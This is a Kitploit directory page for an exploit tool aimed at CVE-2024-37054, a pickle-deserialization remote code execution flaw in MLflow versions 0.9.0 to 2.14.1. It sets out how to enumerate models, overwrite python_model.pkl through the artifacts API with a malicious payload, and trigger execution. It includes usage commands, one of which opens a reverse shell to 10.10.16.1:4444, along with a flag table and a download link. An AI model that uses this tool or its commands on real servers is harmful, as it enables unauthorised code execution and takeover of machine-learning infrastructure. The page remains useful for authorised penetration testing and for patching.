Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-37054 — CVE-2024-37054 exploit and documentation | Kitploit
Tools/GitHubGitHub/tristanqtn/cve-2024-37054
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubtristanqtn/cve-2024-37054

CVE-2024-37054

CVE-2024-37054 exploit and documentation

View Repository
13 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-37054 — MLflow pyfunc Deserialization RCE

Severity: Critical
Affected: MLflow 0.9.0 – 2.14.1
Type: Arbitrary code execution via Python pickle deserialization

Description

mlflow.pyfunc.load_model() deserializes python_model.pkl from the artifact store without any sanitization. An attacker who can reach the MLflow artifacts REST API can overwrite that file with a malicious pickle, which executes arbitrary OS commands the next time the model is loaded.

Requirements

root@kitploit:~
pip install requests cloudpickle

Usage

root@kitploit:~
# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  list

# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  revshell 10.10.16.1 4444

Key options

How it works

  1. Discover — query /api/2.0/mlflow/registered-models/search to find a model and its run_id / experiment_id
  2. Poison — PUT a malicious cloudpickle payload to /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl
  3. Trigger — any code path calling mlflow.pyfunc.load_model() on that model unpickles the payload and executes the command

The trigger step requires an application endpoint that loads the model. If none is known, use --no-trigger (or omit --trigger-url) and trigger loading through any available means.

Disclaimer

For authorized penetration testing and educational purposes only.

Download Tool
FlagDescription
--mlflow URLMLflow tracking server base URL (required)
--model NAMERegistered model name — auto-selects first if omitted
--version NModel version — defaults to latest
--user / --passHTTP Basic Auth credentials for MLflow
--run-id / --exp-idBypass model discovery with known IDs
--trigger-url URLApp endpoint that calls load_model() — omit to upload only
--session COOKIESession cookie sent with the trigger request